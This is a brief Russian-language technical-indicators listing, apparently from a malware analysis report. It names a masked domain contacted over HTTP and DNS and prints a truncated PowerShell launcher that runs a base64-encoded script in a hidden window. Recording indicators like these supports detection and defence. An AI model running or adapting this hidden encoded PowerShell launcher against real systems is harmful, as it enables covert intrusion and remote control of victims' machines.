Техническая информация
- 'pa#####otballpro.com':80
- http://pa#####otballpro.com/search?q=##############################
- DNS ASK pa#####otballpro.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBlAFIAcwBpAE8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAFIAUwBpAG8ATgAuAE0AQQBKAG8AcgAgAC0ARwBlACAAMwApAHsAJABHAFAAUwA9AFsAUgBlAGYAXQAuAEEAUwBzAGUATQBCAGwAWQAuAEcAZQB0...' (со скрытым окном)